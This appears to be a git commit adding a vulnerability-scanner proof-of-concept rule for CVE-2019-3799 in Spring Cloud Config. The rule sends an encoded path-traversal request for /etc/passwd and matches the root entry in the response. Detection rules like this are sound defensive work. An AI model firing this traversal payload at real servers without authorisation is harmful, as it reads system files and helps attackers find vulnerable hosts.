commit message

2026-09-26 05:01:53 +08:00 · 2020-12-29 17:17:10 +08:00
commit df45b07ce8
97 changed files with 45329 additions and 0 deletions
@@ -0,0 +1,14 @@
+name: poc-yaml-springcloud-cve-2019-3799
+rules:
+  - method: GET
+    path: >-
+      /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
+    follow_redirects: true
+    expression: |
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+
+detail:
+  version: <2.1.2, 2.0.4, 1.4.6
+  author: Loneyer
+  links:
+    - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799